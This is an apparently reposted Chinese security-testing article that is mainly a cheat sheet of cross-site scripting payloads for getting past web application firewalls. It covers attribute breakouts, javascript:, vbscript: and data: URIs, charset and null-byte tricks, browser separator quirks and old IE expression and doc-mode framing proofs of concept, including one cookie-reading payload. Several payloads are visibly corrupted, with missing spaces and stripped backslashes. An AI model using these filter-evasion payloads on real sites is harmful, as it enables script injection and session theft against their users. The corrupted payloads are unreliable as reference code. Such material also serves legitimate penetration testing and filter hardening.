XSS现代WAF规则探测及绕过技术
作者:网络转载 发布时间:[ 2014/7/2 15:42:34 ] 推荐标签:安全测试 测试技术
输入反射属性
<input value="XSStest" type=text>
我们可以使用 “><imgsrc=x onerror=prompt(0);>触发,但是如果<>被过滤,我们仍然可以使用“ autofocusonfocus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本
" onmouseover="prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
输入反射在<script>标签内
类似这种情况:
<script>
Var
x=”Input”;
</script>
通常,我们使用“></script>,闭合前面的</script>标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()
confirm() ,例如:
“;alert(1)//
非常规事件监听
DOMfocusin,DOMfocusout,等事件,这些需要特定的事件监听适当的执行。例如:
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
此类事件的列表
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
|
超文本内容
代码中的情况如下
<a
href=”Userinput”>Click</a>
可以使用javascript:alert(1)//直接执行<a
href=”javascript:alert(1)//”>Click</a>
变形
主要包含大小写和
JavaScript变形
javascript:alert(1)
javaSCRIPT:alert(1)
JaVaScRipT:alert(1)
javas	cript:u0061lert(1);
javascript:u0061lert(1)
javascript:alert(document.cookie) // AsharJaved
IE10以下和URI中可以使用VBScript
vbscript:alert(1);
vbscript:alert(1);
vbscr	ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
JSON内容
反射输入
encodeURIComponent('userinput')
可以使用
-alert(1)-
-prompt(1)-
-confirm(1)-
结果
encodeURIComponent(''-alert(1)-'')
encodeURIComponent(''-prompt(1)-'')
输入反射在svg标签内
源码如下:
<svg><script>varmyvar=”YourInput”;</script></svg>
可以输入
www.site.com/test.php?var=text”;alert(1)//
如果系统编码了”字符
<svg><script>varmyvar="text";alert(1)//";</script></svg>
原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理
浏览器BUG
字符集BUG
字符集BUG在IE中很普遍,早的bug是UTF-7。如果能控制字符集编码,我们可以绕过99% 的WAF过滤。
示例
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
可以控制编码,提交
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img
src=x onerror=prompt(0);>
可以修改为UTF-32编码形式
???script?alert(1)?/script?
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
空字节
长用来绕过mod_security防火墙,形式如下:
<scri%00pt>alert(1);</scri%00pt>
<scrix00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
空字节只适用于PHP 5.3.8以上的版本
语法BUG
RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行
<script>alert(1);</script>
<%0ascript>alert(1);</script>
<%0bscript>alert(1);</script>
<%, <//, <!,<?可以被解析成<,所以可以使用以下的payload
<// style=x:expression28write(1)29> // Works upto IE7
参考http://html5sec.org/#71
<!--[if]><script>alert(1)</script --> // Works upto IE9
参考http://html5sec.org/#115
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> // Works in IE7
参考 http://html5sec.org/#77
<%div%20style=xss:expression(prompt(1))> // Works Upto IE7
Unicode分隔符
[onw+s*]这个规则过滤了所有on事件,为了验证每个浏览器中有效的分隔符,可以使用fuzzing方法测试0×00到0xff,结果如下:
IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox= [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B]
x0b在Mod_security中已经被过滤,绕过的方法:
<a/onmouseover[x0b]=location='x6Ax61x76x61x73x63x72x69x70x74x3Ax61x6Cx65x72x74x28x30x29x3B'>rhainfosec
缺少X-frame选项
通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞
Docmodes
IE引入了doc-mode很长时间,提供给老版本浏览器的后端兼容性,有风险,攻击情景是黑客可以引用你站点的框架,他可以引入doc-mode执行css表达式
expression(open(alert(1)))
以下POC可以插入到IE7中
<html>
<body>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<iframesrc="https://targetwebsite.com">
</body>
</html>
相关推荐
更新发布
功能测试和接口测试的区别
2023/3/23 14:23:39如何写好测试用例文档
2023/3/22 16:17:39常用的选择回归测试的方式有哪些?
2022/6/14 16:14:27测试流程中需要重点把关几个过程?
2021/10/18 15:37:44性能测试的七种方法
2021/9/17 15:19:29全链路压测优化思路
2021/9/14 15:42:25性能测试流程浅谈
2021/5/28 17:25:47常见的APP性能测试指标
2021/5/8 17:01:11